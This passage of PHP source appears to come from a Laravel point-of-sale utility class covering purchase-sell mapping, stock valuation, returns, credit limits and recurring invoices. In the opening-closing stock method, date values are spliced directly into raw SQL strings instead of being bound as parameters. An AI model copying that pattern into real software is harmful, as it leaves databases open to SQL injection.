$row->purchase_lines_id, 'quantity' => $qty_allocated, 'created_at' => \Carbon::now(), 'updated_at' => \Carbon::now(), ]; //Update purchase line PurchaseLine::where('id', $row->purchase_lines_id) ->update(['quantity_adjusted' => $row->quantity_adjusted + $qty_allocated]); } } elseif ($mapping_type == 'purchase') { //Mapping of purchase if ($qty_allocated != 0) { $purchase_sell_map[] = ['sell_line_id' => $line->id, 'purchase_line_id' => $row->purchase_lines_id, 'quantity' => $qty_allocated, 'created_at' => \Carbon::now(), 'updated_at' => \Carbon::now(), ]; //Update purchase line PurchaseLine::where('id', $row->purchase_lines_id) ->update(['quantity_sold' => $row->quantity_sold + $qty_allocated]); } } elseif ($mapping_type == 'production_purchase') { //Mapping of purchase if ($qty_allocated != 0) { $purchase_sell_map[] = ['sell_line_id' => $line->id, 'purchase_line_id' => $row->purchase_lines_id, 'quantity' => $qty_allocated, 'created_at' => \Carbon::now(), 'updated_at' => \Carbon::now(), ]; //Update purchase line PurchaseLine::where('id', $row->purchase_lines_id) ->update(['mfg_quantity_used' => $row->mfg_quantity_used + $qty_allocated]); } } if ($qty_selling == 0) { break; } } if (! ($qty_selling == 0 || is_null($qty_selling))) { //If overselling not allowed through exception else create mapping with blank purchase_line_id if (! $allow_overselling) { $variation = Variation::find($line->variation_id); $mismatch_name = $product->name; if (! empty($variation->sub_sku)) { $mismatch_name .= ' '.'SKU: '.$variation->sub_sku; } if (! empty($qty_selling)) { $mismatch_name .= ' '.'Quantity: '.abs($qty_selling); } if ($mapping_type == 'purchase') { $mismatch_error = trans( 'messages.purchase_sell_mismatch_exception', ['product' => $mismatch_name] ); if ($stop_selling_expired) { $mismatch_error .= __('lang_v1.available_stock_expired'); } } elseif ($mapping_type == 'stock_adjustment') { $mismatch_error = trans( 'messages.purchase_stock_adjustment_mismatch_exception', ['product' => $mismatch_name] ); } else { $mismatch_error = trans( 'lang_v1.quantity_mismatch_exception', ['product' => $mismatch_name] ); } $business_name = optional(Business::find($business['id']))->name; $location_name = optional(BusinessLocation::find($business['location_id']))->name; \Log::emergency($mismatch_error.' Business: '.$business_name.' Location: '.$location_name); throw new PurchaseSellMismatch($mismatch_error); } else { //Mapping with no purchase line $purchase_sell_map[] = ['sell_line_id' => $line->id, 'purchase_line_id' => 0, 'quantity' => $qty_selling, 'created_at' => \Carbon::now(), 'updated_at' => \Carbon::now(), ]; } } //Insert the mapping if (! empty($purchase_adjustment_map)) { TransactionSellLinesPurchaseLines::insert($purchase_adjustment_map); } if (! empty($purchase_sell_map)) { TransactionSellLinesPurchaseLines::insert($purchase_sell_map); } } } /** * F => D (Delete all mapping lines, decrease the qty sold.) * D => F (Call the mapPurchaseSell function) * F => F (Check for quantity of existing product, call mapPurchase for new products.) * * @param string $status_before * @param object $transaction * @param array $business * @param array $deleted_line_ids = [] //deleted sell lines ids. * @return void */ public function adjustMappingPurchaseSell( $status_before, $transaction, $business, $deleted_line_ids = [] ) { if ($status_before == 'final' && $transaction->status == 'draft') { //Get sell lines used for the transaction. $sell_purchases = Transaction::join('transaction_sell_lines AS SL', 'transactions.id', '=', 'SL.transaction_id') ->join('transaction_sell_lines_purchase_lines as TSP', 'SL.id', '=', 'TSP.sell_line_id') ->where('transactions.id', $transaction->id) ->select('TSP.purchase_line_id', 'TSP.quantity', 'TSP.id') ->get() ->toArray(); //Included the deleted sell lines if (! empty($deleted_line_ids)) { $deleted_sell_purchases = TransactionSellLinesPurchaseLines::whereIn('sell_line_id', $deleted_line_ids) ->select('purchase_line_id', 'quantity', 'id') ->get() ->toArray(); $sell_purchases = $sell_purchases + $deleted_sell_purchases; } //TODO: Optimize the query to take our of loop. $sell_purchase_ids = []; if (! empty($sell_purchases)) { //Decrease the quantity sold of products foreach ($sell_purchases as $row) { PurchaseLine::where('id', $row['purchase_line_id']) ->decrement('quantity_sold', $row['quantity']); $sell_purchase_ids[] = $row['id']; } //Delete the lines. TransactionSellLinesPurchaseLines::whereIn('id', $sell_purchase_ids) ->delete(); } } elseif ($status_before == 'draft' && $transaction->status == 'final') { $this->mapPurchaseSell($business, $transaction->sell_lines, 'purchase'); } elseif ($status_before == 'final' && $transaction->status == 'final') { //Handle deleted line if (! empty($deleted_line_ids)) { $deleted_sell_purchases = TransactionSellLinesPurchaseLines::whereIn('sell_line_id', $deleted_line_ids) ->select('sell_line_id', 'quantity') ->get(); if (! empty($deleted_sell_purchases)) { foreach ($deleted_sell_purchases as $value) { $this->mapDecrementPurchaseQuantity($value->sell_line_id, $value->quantity); } } } //Check for update quantity, new added rows, deleted rows. $sell_purchases = Transaction::join('transaction_sell_lines AS SL', 'transactions.id', '=', 'SL.transaction_id') ->leftjoin('transaction_sell_lines_purchase_lines as TSP', 'SL.id', '=', 'TSP.sell_line_id') ->where('transactions.id', $transaction->id) ->select( 'TSP.id as slpl_id', 'TSP.purchase_line_id', 'TSP.quantity AS tsp_quantity', 'TSP.id as tsp_id', 'SL.*' ) ->get(); $deleted_sell_lines = []; $new_sell_lines = []; $processed_sell_lines = []; foreach ($sell_purchases as $line) { if (empty($line->slpl_id)) { $new_sell_lines[] = $line; } else { //Skip if already processed. if (in_array($line->slpl_id, $processed_sell_lines)) { continue; } $processed_sell_lines[] = $line->slpl_id; $total_sold_entry = TransactionSellLinesPurchaseLines::where('sell_line_id', $line->id) ->select(DB::raw('SUM(quantity) AS quantity')) ->first(); if ($total_sold_entry->quantity != $line->quantity) { if ($line->quantity > $total_sold_entry->quantity) { //If quantity is increased add it to new sell lines by decreasing tsp_quantity $line_temp = $line; $line_temp->quantity = $line_temp->quantity - $total_sold_entry->quantity; $new_sell_lines[] = $line_temp; } elseif ($line->quantity < $total_sold_entry->quantity) { $decrement_qty = $total_sold_entry->quantity - $line->quantity; $this->mapDecrementPurchaseQuantity($line->id, $decrement_qty); } } } } //Add mapping for new sell lines and for incremented quantity if (! empty($new_sell_lines)) { $this->mapPurchaseSell($business, $new_sell_lines); } } } /** * Decrease the purchase quantity from * transaction_sell_lines_purchase_lines and purchase_lines.quantity_sold * * @param int $sell_line_id * @param int $decrement_qty * @return void */ private function mapDecrementPurchaseQuantity($sell_line_id, $decrement_qty) { $sell_purchase_line = TransactionSellLinesPurchaseLines::where('sell_line_id', $sell_line_id) ->orderBy('id', 'desc') ->get(); foreach ($sell_purchase_line as $row) { if ($row->quantity > $decrement_qty) { PurchaseLine::where('id', $row->purchase_line_id) ->decrement('quantity_sold', $decrement_qty); $row->quantity = $row->quantity - $decrement_qty; $row->save(); $decrement_qty = 0; } else { PurchaseLine::where('id', $row->purchase_line_id) ->decrement('quantity_sold', $decrement_qty); $row->delete(); } $decrement_qty = $decrement_qty - $row->quantity; if ($decrement_qty <= 0) { break; } } } /** * Decrement quantity adjusted in product line according to * transaction_sell_lines_purchase_lines * Used in delete of stock adjustment * * @param array $line_ids * @return bool */ public function mapPurchaseQuantityForDeleteStockAdjustment($line_ids) { if (empty($line_ids)) { return true; } $map_line = TransactionSellLinesPurchaseLines::whereIn('stock_adjustment_line_id', $line_ids) ->orderBy('id', 'desc') ->get(); foreach ($map_line as $row) { PurchaseLine::where('id', $row->purchase_line_id) ->decrement('quantity_adjusted', $row->quantity); } //Delete the tslp line. TransactionSellLinesPurchaseLines::whereIn('stock_adjustment_line_id', $line_ids) ->delete(); return true; } /** * Adjust the existing mapping between purchase & sell on edit of * purchase * * @param string $before_status * @param object $transaction * @param object $delete_purchase_lines * @return void */ public function adjustMappingPurchaseSellAfterEditingPurchase($before_status, $transaction, $delete_purchase_lines) { if ($before_status == 'received' && $transaction->status == 'received') { //Check if there is some irregularities between purchase & sell and make appropiate adjustment. //Get all purchase line having irregularities. $purchase_lines = Transaction::join( 'purchase_lines AS PL', 'transactions.id', '=', 'PL.transaction_id' ) ->join( 'transaction_sell_lines_purchase_lines AS TSPL', 'PL.id', '=', 'TSPL.purchase_line_id' ) ->groupBy('TSPL.purchase_line_id') ->where('transactions.id', $transaction->id) ->havingRaw('SUM(TSPL.quantity) > MAX(PL.quantity)') ->select(['TSPL.purchase_line_id AS id', DB::raw('SUM(TSPL.quantity) AS tspl_quantity'), DB::raw('MAX(PL.quantity) AS pl_quantity'), ]) ->get() ->toArray(); } elseif ($before_status == 'received' && $transaction->status != 'received') { //Delete sell for those & add new sell or throw error. $purchase_lines = Transaction::join( 'purchase_lines AS PL', 'transactions.id', '=', 'PL.transaction_id' ) ->join( 'transaction_sell_lines_purchase_lines AS TSPL', 'PL.id', '=', 'TSPL.purchase_line_id' ) ->groupBy('TSPL.purchase_line_id') ->where('transactions.id', $transaction->id) ->select(['TSPL.purchase_line_id AS id', DB::raw('MAX(PL.quantity) AS pl_quantity'), ]) ->get() ->toArray(); } else { return true; } //Get detail of purchase lines deleted if (! empty($delete_purchase_lines)) { $purchase_lines = $delete_purchase_lines->toArray() + $purchase_lines; } //All sell lines & Stock adjustment lines. $sell_lines = []; $stock_adjustment_lines = []; foreach ($purchase_lines as $purchase_line) { $tspl_quantity = isset($purchase_line['tspl_quantity']) ? $purchase_line['tspl_quantity'] : 0; $pl_quantity = isset($purchase_line['pl_quantity']) ? $purchase_line['pl_quantity'] : $purchase_line['quantity']; $extra_sold = abs($tspl_quantity - $pl_quantity); //Decrease the quantity from transaction_sell_lines_purchase_lines or delete it if zero $tspl = TransactionSellLinesPurchaseLines::where('purchase_line_id', $purchase_line['id']) ->leftjoin( 'transaction_sell_lines AS SL', 'transaction_sell_lines_purchase_lines.sell_line_id', '=', 'SL.id' ) ->leftjoin( 'stock_adjustment_lines AS SAL', 'transaction_sell_lines_purchase_lines.stock_adjustment_line_id', '=', 'SAL.id' ) ->orderBy('transaction_sell_lines_purchase_lines.id', 'desc') ->select(['SL.product_id AS sell_product_id', 'SL.variation_id AS sell_variation_id', 'SL.id AS sell_line_id', 'SAL.product_id AS adjust_product_id', 'SAL.variation_id AS adjust_variation_id', 'SAL.id AS adjust_line_id', 'transaction_sell_lines_purchase_lines.quantity', 'transaction_sell_lines_purchase_lines.purchase_line_id', 'transaction_sell_lines_purchase_lines.id as tslpl_id', ]) ->get(); foreach ($tspl as $row) { if ($row->quantity <= $extra_sold) { if (! empty($row->sell_line_id)) { $sell_lines[] = (object) ['id' => $row->sell_line_id, 'quantity' => $row->quantity, 'product_id' => $row->sell_product_id, 'variation_id' => $row->sell_variation_id, ]; PurchaseLine::where('id', $row->purchase_line_id) ->decrement('quantity_sold', $row->quantity); } else { $stock_adjustment_lines[] = (object) ['id' => $row->adjust_line_id, 'quantity' => $row->quantity, 'product_id' => $row->adjust_product_id, 'variation_id' => $row->adjust_variation_id, ]; PurchaseLine::where('id', $row->purchase_line_id) ->decrement('quantity_adjusted', $row->quantity); } $extra_sold = $extra_sold - $row->quantity; TransactionSellLinesPurchaseLines::where('id', $row->tslpl_id)->delete(); } else { if (! empty($row->sell_line_id)) { $sell_lines[] = (object) ['id' => $row->sell_line_id, 'quantity' => $extra_sold, 'product_id' => $row->sell_product_id, 'variation_id' => $row->sell_variation_id, ]; PurchaseLine::where('id', $row->purchase_line_id) ->decrement('quantity_sold', $extra_sold); } else { $stock_adjustment_lines[] = (object) ['id' => $row->adjust_line_id, 'quantity' => $extra_sold, 'product_id' => $row->adjust_product_id, 'variation_id' => $row->adjust_variation_id, ]; PurchaseLine::where('id', $row->purchase_line_id) ->decrement('quantity_adjusted', $extra_sold); } TransactionSellLinesPurchaseLines::where('id', $row->tslpl_id)->update(['quantity' => $row->quantity - $extra_sold]); $extra_sold = 0; } if ($extra_sold == 0) { break; } } } $business = Business::find($transaction->business_id)->toArray(); $business['location_id'] = $transaction->location_id; //Allocate the sold lines to purchases. if (! empty($sell_lines)) { $sell_lines = (object) $sell_lines; $this->mapPurchaseSell($business, $sell_lines, 'purchase'); } //Allocate the stock adjustment lines to purchases. if (! empty($stock_adjustment_lines)) { $stock_adjustment_lines = (object) $stock_adjustment_lines; $this->mapPurchaseSell($business, $stock_adjustment_lines, 'stock_adjustment'); } } /** * Check if transaction can be edited based on business transaction_edit_days * * @param int/object $transaction * @param int $edit_duration * @return bool */ public function canBeEdited($transaction, $edit_duration) { if (! is_object($transaction)) { $transaction = Transaction::find($transaction); } if (empty($transaction)) { return false; } $date = \Carbon::parse($transaction->transaction_date) ->addDays($edit_duration); $today = today(); if ($date->gte($today)) { return true; } else { return false; } } /** * Calculates total stock on the given date * * @param int $business_id * @param string $date * @param int $location_id * @param bool $is_opening = false * @return float */ public function getOpeningClosingStock($business_id, $date, $location_id, $is_opening = false, $by_sale_price = false, $filters = [], $permitted_locations = null) { $query = PurchaseLine::join( 'transactions as purchase', 'purchase_lines.transaction_id', '=', 'purchase.id' ) ->where('purchase.type', '!=', 'purchase_order') ->where('purchase.business_id', $business_id); $price_query_part = '(purchase_lines.purchase_price + COALESCE(purchase_lines.item_tax, 0))'; if ($by_sale_price) { $price_query_part = 'v.sell_price_inc_tax'; } $query->leftjoin('variations as v', 'v.id', '=', 'purchase_lines.variation_id') ->leftjoin('products as p', 'p.id', '=', 'purchase_lines.product_id'); if (! empty($filters['category_id'])) { $query->where('p.category_id', $filters['category_id']); } if (! empty($filters['sub_category_id'])) { $query->where('p.sub_category_id', $filters['sub_category_id']); } if (! empty($filters['brand_id'])) { $query->where('p.brand_id', $filters['brand_id']); } if (! empty($filters['unit_id'])) { $query->where('p.unit_id', $filters['unit_id']); } if (! empty($filters['user_id'])) { $query->where('purchase.created_by', $filters['user_id']); } //If opening if ($is_opening) { $next_day = \Carbon::createFromFormat('Y-m-d', $date)->addDay()->format('Y-m-d'); $query->where(function ($query) use ($date, $next_day) { $query->whereRaw("date(transaction_date) <= '$date'") ->orWhereRaw("date(transaction_date) = '$next_day' AND purchase.type='opening_stock' "); }); } else { $query->whereRaw("date(transaction_date) <= '$date'"); } $query->select( DB::raw("SUM((purchase_lines.quantity - purchase_lines.quantity_returned - purchase_lines.quantity_adjusted - (SELECT COALESCE(SUM(tspl.quantity - tspl.qty_returned), 0) FROM transaction_sell_lines_purchase_lines AS tspl JOIN transaction_sell_lines as tsl ON tspl.sell_line_id=tsl.id JOIN transactions as sale ON tsl.transaction_id=sale.id WHERE tspl.purchase_line_id = purchase_lines.id AND date(sale.transaction_date) <= '$date') ) * $price_query_part ) as stock") ); //Check for permitted locations of a user if(!empty($permitted_locations)) { if ($permitted_locations != 'all') { $query->whereIn('purchase.location_id', $permitted_locations); } } if (! empty($location_id)) { $query->where('purchase.location_id', $location_id); } $details = $query->first(); return $details->stock; } /** * Gives the total sell commission for a commission agent within the date range passed * * @param int $business_id * @param string $start_date * @param string $end_date * @param int $location_id * @param int $commission_agent * @return array */ public function getTotalSellCommission($business_id, $start_date = null, $end_date = null, $location_id = null, $commission_agent = null) { //Query to sum total sell without line tax and order tax $query = TransactionSellLine::leftjoin('transactions as t', 'transaction_sell_lines.transaction_id', '=', 't.id') ->where('t.business_id', $business_id) ->where('t.type', 'sell') ->where('t.status', 'final') ->select(DB::raw('SUM( (transaction_sell_lines.quantity - transaction_sell_lines.quantity_returned) * transaction_sell_lines.unit_price ) as final_total')); //Check for permitted locations of a user $permitted_locations = auth()->user()->permitted_locations(); if ($permitted_locations != 'all') { $query->whereIn('t.location_id', $permitted_locations); } if (! empty($start_date) && ! empty($end_date)) { $query->whereBetween(DB::raw('date(t.transaction_date)'), [$start_date, $end_date]); } //Filter by the location if (! empty($location_id)) { $query->where('t.location_id', $location_id); } if (! empty($commission_agent)) { $query->where('t.commission_agent', $commission_agent); } $sell_details = $query->get(); $output['total_sales_with_commission'] = $sell_details->sum('final_total'); return $output; } public function getTotalPaymentWithCommission($business_id, $start_date = null, $end_date = null, $location_id = null, $commission_agent = null) { $query = TransactionPayment::join('transactions as t', 'transaction_payments.transaction_id', '=', 't.id') ->where('t.business_id', $business_id) ->where('t.type', 'sell') ->where('t.status', 'final') ->select(DB::raw('SUM(IF( is_return = 0, amount, amount*-1)) as total_paid')); //Check for permitted locations of a user $permitted_locations = auth()->user()->permitted_locations(); if ($permitted_locations != 'all') { $query->whereIn('t.location_id', $permitted_locations); } if (! empty($start_date) && ! empty($end_date)) { $query->whereBetween(DB::raw('date(paid_on)'), [$start_date, $end_date]); } //Filter by the location if (! empty($location_id)) { $query->where('t.location_id', $location_id); } if (! empty($commission_agent)) { $query->where('t.commission_agent', $commission_agent); } $payment_details = $query->first(); $output['total_payment_with_commission'] = $payment_details->total_paid; return $output; } /** * Add Sell transaction * * @param int $business_id * @param array $input * @param float $invoice_total * @param int $user_id * @return bool */ public function createSellReturnTransaction($business_id, $input, $invoice_total, $user_id) { $transaction = Transaction::create([ 'business_id' => $business_id, 'location_id' => $input['location_id'], 'type' => 'sell_return', 'status' => 'final', 'contact_id' => $input['contact_id'], 'customer_group_id' => $input['customer_group_id'], 'ref_no' => $input['ref_no'], 'total_before_tax' => $invoice_total['total_before_tax'], 'transaction_date' => $input['transaction_date'], 'tax_id' => null, 'discount_type' => $input['discount_type'], 'discount_amount' => $this->num_uf($input['discount_amount']), 'tax_amount' => $invoice_total['tax'], 'final_total' => $this->num_uf($input['final_total']), 'additional_notes' => ! empty($input['additional_notes']) ? $input['additional_notes'] : null, 'created_by' => $user_id, 'is_quotation' => isset($input['is_quotation']) ? $input['is_quotation'] : 0, ]); return $transaction; } public function groupTaxDetails($tax, $amount) { if (! is_object($tax)) { $tax = TaxRate::find($tax); } if (! empty($tax)) { $sub_taxes = $tax->sub_taxes; $sum = $tax->sub_taxes->sum('amount'); $details = []; foreach ($sub_taxes as $sub_tax) { if ($sum != 0) { $calculated_tax = ($amount / $sum) * $sub_tax->amount; } else { // Handle the case where $sum is zero. For example, you might set calculated_tax to 0. $calculated_tax = 0; } $details[] = [ 'id' => $sub_tax->id, 'name' => $sub_tax->name, 'amount' => $sub_tax->amount, 'calculated_tax' => $calculated_tax, ]; } return $details; } else { return []; } } public function sumGroupTaxDetails($group_tax_details) { $output = []; foreach ($group_tax_details as $group_tax_detail) { if (! isset($output[$group_tax_detail['name']])) { $output[$group_tax_detail['name']] = 0; } $output[$group_tax_detail['name']] += $group_tax_detail['calculated_tax']; } return $output; } /** * Retrieves all available lot numbers of a product from variation id * * @param int $variation_id * @param int $business_id * @param int $location_id * @return bool */ public function getLotNumbersFromVariation($variation_id, $business_id, $location_id, $exclude_empty_lot = false) { $query = PurchaseLine::join( 'transactions as T', 'purchase_lines.transaction_id', '=', 'T.id' ) ->where('T.business_id', $business_id) ->where('T.location_id', $location_id) ->where('purchase_lines.variation_id', $variation_id); //If expiry is disabled if (request()->session()->get('business.enable_product_expiry') == 0) { $query->whereNotNull('purchase_lines.lot_number'); } if ($exclude_empty_lot) { $query->whereRaw('(purchase_lines.quantity_sold + purchase_lines.quantity_adjusted + purchase_lines.quantity_returned) < purchase_lines.quantity'); } else { $query->whereRaw('(purchase_lines.quantity_sold + purchase_lines.quantity_adjusted + purchase_lines.quantity_returned) <= purchase_lines.quantity'); } $purchase_lines = $query->select('purchase_lines.id as purchase_line_id', 'lot_number', 'purchase_lines.exp_date as exp_date', DB::raw('(purchase_lines.quantity - (purchase_lines.quantity_sold + purchase_lines.quantity_adjusted + purchase_lines.quantity_returned)) AS qty_available'))->get(); return $purchase_lines; } /** * Checks if credit limit of a customer is exceeded * * @param array $input * @param int $exclude_transaction_id (For update sell) * @return mixed * if exceeded returns credit_limit else false */ public function isCustomerCreditLimitExeeded( $input, $exclude_transaction_id = null, $uf_number = true ) { //If draft ignore credit limit check if ($input['status'] == 'draft' || (isset($input['type']) && $input['type'] == 'sales_order')) { return false; } $final_total = $uf_number ? $this->num_uf($input['final_total']) : $input['final_total']; $curr_total_payment = 0; $is_credit_sale = isset($input['is_credit_sale']) && $input['is_credit_sale'] == 1 ? true : false; if (! empty($input['payment']) && ! $is_credit_sale) { foreach ($input['payment'] as $payment) { $curr_total_payment += $this->num_uf($payment['amount']); } } //If not credit sell ignore credit limit check if ($final_total <= $curr_total_payment) { return false; } $credit_limit = Contact::find($input['contact_id'])->credit_limit; if ($credit_limit == null) { return false; } $query = Contact::where('contacts.id', $input['contact_id']) ->leftjoin('transactions AS t', 'contacts.id', '=', 't.contact_id'); //Exclude transaction id if update transaction if (! empty($exclude_transaction_id)) { $query->where('t.id', '!=', $exclude_transaction_id); } $credit_details = $query->select( DB::raw("SUM(IF(t.status = 'final' AND t.type = 'sell', final_total, 0)) as total_invoice"), DB::raw("SUM(IF(t.status = 'final' AND t.type = 'sell', (SELECT SUM(IF(is_return = 1,-1*amount,amount)) FROM transaction_payments WHERE transaction_payments.transaction_id=t.id), 0)) as invoice_paid") )->first(); $total_invoice = ! empty($credit_details->total_invoice) ? $credit_details->total_invoice : 0; $invoice_paid = ! empty($credit_details->invoice_paid) ? $credit_details->invoice_paid : 0; $curr_due = $final_total - $curr_total_payment; $total_due = $total_invoice - $invoice_paid + $curr_due; if ($total_due <= $credit_limit) { return false; } return $credit_limit; } /** * Creates a new opening balance transaction for a contact * * @param int $business_id * @param int $contact_id * @param int $amount * @return void */ public function createOpeningBalanceTransaction($business_id, $contact_id, $amount, $created_by, $uf_data = true) { $business_location = BusinessLocation::where('business_id', $business_id) ->first(); $final_amount = $uf_data ? $this->num_uf($amount) : $amount; $ob_data = [ 'business_id' => $business_id, 'location_id' => $business_location->id, 'type' => 'opening_balance', 'status' => 'final', 'payment_status' => 'due', 'contact_id' => $contact_id, 'transaction_date' => \Carbon::now(), 'total_before_tax' => $final_amount, 'final_total' => $final_amount, 'created_by' => $created_by, ]; //Update reference count $ob_ref_count = $this->setAndGetReferenceCount('opening_balance', $business_id); //Generate reference number $ob_data['ref_no'] = $this->generateReferenceNumber('opening_balance', $ob_ref_count, $business_id); //Create opening balance transaction Transaction::create($ob_data); } /** * Updates quantity sold in purchase line for sell return * * @param obj $sell_line * @param decimal $new_quantity * @param decimal $old_quantity * @return void */ public function updateQuantitySoldFromSellLine($sell_line, $new_quantity, $old_quantity, $uf_number = true) { $new_quantity = $uf_number ? $this->num_uf($new_quantity) : $new_quantity; $old_quantity = $uf_number ? $this->num_uf($old_quantity) : $old_quantity; $qty_difference = $new_quantity - $old_quantity; if ($qty_difference != 0) { $qty_left_to_update = $qty_difference; $sell_line_purchase_lines = TransactionSellLinesPurchaseLines::where('sell_line_id', $sell_line->id)->get(); //Return from each purchase line foreach ($sell_line_purchase_lines as $tslpl) { //If differnce is +ve decrease quantity sold if ($qty_difference > 0) { if ($tslpl->qty_returned < $tslpl->quantity) { //Quantity that can be returned from sell line purchase line $tspl_qty_left_to_return = $tslpl->quantity - $tslpl->qty_returned; $purchase_line = PurchaseLine::find($tslpl->purchase_line_id); if ($qty_left_to_update <= $tspl_qty_left_to_return) { if (! empty($purchase_line)) { $purchase_line->quantity_sold -= $qty_left_to_update; $purchase_line->save(); } $tslpl->qty_returned += $qty_left_to_update; $tslpl->save(); break; } else { if (! empty($purchase_line)) { $purchase_line->quantity_sold -= $tspl_qty_left_to_return; $purchase_line->save(); } $tslpl->qty_returned += $tspl_qty_left_to_return; $tslpl->save(); $qty_left_to_update -= $tspl_qty_left_to_return; } } } //If differnce is -ve increase quantity sold elseif ($qty_difference < 0) { $purchase_line = PurchaseLine::find($tslpl->purchase_line_id); if (! empty($purchase_line)) { $tspl_qty_to_return = $tslpl->qty_returned + $qty_left_to_update; if ($tspl_qty_to_return >= 0) { $purchase_line->quantity_sold -= $qty_left_to_update; $purchase_line->save(); $tslpl->qty_returned += $qty_left_to_update; $tslpl->save(); break; } else { $purchase_line->quantity_sold += $tslpl->quantity; $purchase_line->save(); $tslpl->qty_returned = 0; $tslpl->save(); $qty_left_to_update += $tslpl->quantity; } } } } } } /** * Check if return exist for a particular purchase or sell * * @param id $transacion_id * @return bool */ public function isReturnExist($transacion_id) { return Transaction::where('return_parent_id', $transacion_id)->exists(); } /** * Recalculates sell line data according to subunit data * * @param int $unit_id * @return array */ public function recalculateSellLineTotals($business_id, $sell_line) { $unit_details = $this->getSubUnits($business_id, $sell_line->product->unit->id); $sub_unit = null; $sub_unit_id = $sell_line->sub_unit_id; foreach ($unit_details as $key => $value) { if ($key == $sub_unit_id) { $sub_unit = $value; } } if (! empty($sub_unit)) { $multiplier = ! empty($sub_unit['multiplier']) ? $sub_unit['multiplier'] : 1; if ($sell_line->line_discount_type == 'fixed') { $sell_line->line_discount_amount = $sell_line->line_discount_amount * $multiplier; } $sell_line->orig_quantity = $sell_line->quantity; $sell_line->multiplier = $multiplier; $sell_line->quantity = $sell_line->quantity / $multiplier; $sell_line->unit_price_before_discount = $sell_line->unit_price_before_discount * $multiplier; $sell_line->unit_price = $sell_line->unit_price * $multiplier; $sell_line->unit_price_inc_tax = $sell_line->unit_price_inc_tax * $multiplier; $sell_line->item_tax = $sell_line->item_tax * $multiplier; $sell_line->quantity_returned = $sell_line->quantity_returned / $multiplier; $sell_line->unit_details = $unit_details; } return $sell_line; } /** * Check if lot number is used in any sell * * @param obj $transaction * @return bool */ public function isLotUsed($transaction) { foreach ($transaction->purchase_lines as $purchase_line) { $exists = TransactionSellLine::where('lot_no_line_id', $purchase_line->id)->exists(); if ($exists) { return true; } } return false; } /** * Creates recurring invoice from existing sale * * @param obj $transaction, bool $is_draft * @return obj $recurring_invoice */ public function createRecurringInvoice($transaction, $is_draft = false) { $data = $transaction->toArray(); unset($data['id']); unset($data['created_at']); unset($data['updated_at']); if ($is_draft) { $data['status'] = 'draft'; } $data['payment_status'] = 'due'; $data['recur_parent_id'] = $transaction->id; $data['is_recurring'] = 0; $data['recur_interval'] = null; $data['recur_interval_type'] = null; $data['recur_repetitions'] = 0; $data['recur_stopped_on'] = null; $data['transaction_date'] = \Carbon::now(); if (isset($data['invoice_token'])) { $data['invoice_token'] = null; } if (isset($data['woocommerce_order_id'])) { $data['woocommerce_order_id'] = null; } if (isset($data['recurring_invoices'])) { unset($data['recurring_invoices']); } if (isset($data['sell_lines'])) { unset($data['sell_lines']); } if (isset($data['business'])) { unset($data['business']); } $data['invoice_no'] = $this->getInvoiceNumber($transaction->business_id, $data['status'], $data['location_id']); $recurring_invoice = Transaction::create($data); $recurring_sell_lines = []; foreach ($transaction->sell_lines as $sell_line) { $sell_line_data = $sell_line->toArray(); unset($sell_line_data['id']); unset($sell_line_data['created_at']); unset($sell_line_data['updated_at']); unset($sell_line_data['product']); if (isset($sell_line_data['quantity_returned'])) { unset($sell_line_data['quantity_returned']); } if (isset($sell_line_data['lot_no_line_id'])) { unset($sell_line_data['lot_no_line_id']); } if (isset($sell_line_data['woocommerce_line_items_id'])) { unset($sell_line_data['woocommerce_line_items_id']); } $recurring_sell_lines[] = $sell_line_data; } $recurring_invoice->sell_lines()->createMany($recurring_sell_lines); return $recurring_invoice; } /** * Retrieves and sum total amount paid for a transaction * * @param int $transaction_id */ public function getTotalAmountPaid($transaction_id) { $paid = TransactionPayment::where( 'transaction_id', $transaction_id )->sum('amount'); return $paid; } /** * Calculates transaction totals for the given transaction types * * @param int $business_id * @param array $transaction_types * available types = ['purchase_return', 'sell_return', 'expense', * 'stock_adjustment', 'sell_transfer', 'purchase', 'sell'] * @param string $start_date = null * @param string $end_date = null * @param int $location_id = null * @param int $created_by = null * @return array */ public function getTransactionTotals( $business_id, $transaction_types, $start_date = null, $end_date = null, $location_id = null, $created_by = null, $permitted_locations = null ) { $query = Transaction::where('transactions.business_id', $business_id); //Check for permitted locations of a user if(!empty($permitted_locations)) { if ($permitted_locations != 'all') { //if payroll check employees's work location if (in_array('payroll', $transaction_types)) { $query->leftjoin('users as u1', 'u1.id', '=', 'transactions.expense_for') ->whereIn('u1.location_id', $permitted_locations); } else { $query->whereIn('transactions.location_id', $permitted_locations); } } } if (! empty($start_date) && ! empty($end_date)) { $query->whereDate('transactions.transaction_date', '>=', $start_date) ->whereDate('transactions.transaction_date', '<=', $end_date); } if (empty($start_date) && ! empty($end_date)) { $query->whereDate('transactions.transaction_date', '<=', $end_date); } //Filter by the location if (! empty($location_id)) { //if payroll check employees's work location if (in_array('payroll', $transaction_types)) { $query->leftjoin('users as u', 'u.id', '=', 'transactions.expense_for') ->where('u.location_id', $location_id); } else { $query->where('transactions.location_id', $location_id); } } //Filter by created_by if (! empty($created_by)) { $query->where('transactions.created_by', $created_by); } if (in_array('purchase_return', $transaction_types)) { $query->addSelect( DB::raw("SUM(IF(transactions.type='purchase_return', final_total, 0)) as total_purchase_return_inc_tax"), DB::raw("SUM(IF(transactions.type='purchase_return', total_before_tax, 0)) as total_purchase_return_exc_tax") ); } if (in_array('sell_return', $transaction_types)) { $query->addSelect( DB::raw("SUM(IF(transactions.type='sell_return', final_total, 0)) as total_sell_return_inc_tax"), DB::raw("SUM(IF(transactions.type='sell_return', total_before_tax, 0)) as total_sell_return_exc_tax"), DB::raw("SUM(IF(transactions.type='sell_return', IF(discount_type = 'percentage', COALESCE(discount_amount, 0)*total_before_tax/100, COALESCE(discount_amount, 0)), 0)) as total_sell_return_discount") ); } if (in_array('sell_transfer', $transaction_types)) { $query->addSelect( DB::raw("SUM(IF(transactions.type='sell_transfer', shipping_charges, 0)) as total_transfer_shipping_charges") ); } if (in_array('expense', $transaction_types)) { $query->addSelect( DB::raw("SUM(IF(transactions.type='expense', final_total, 0)) as total_expense") ); $query->addSelect( DB::raw("SUM(IF(transactions.type='expense_refund', final_total, 0)) as total_expense_refund") ); } if (in_array('payroll', $transaction_types)) { $query->addSelect( DB::raw("SUM(IF(transactions.type='payroll', final_total, 0)) as total_payroll") ); } if (in_array('stock_adjustment', $transaction_types)) { $query->addSelect( DB::raw("SUM(IF(transactions.type='stock_adjustment', final_total, 0)) as total_adjustment"), DB::raw("SUM(IF(transactions.type='stock_adjustment', total_amount_recovered, 0)) as total_recovered") ); } if (in_array('purchase', $transaction_types)) { $query->addSelect( 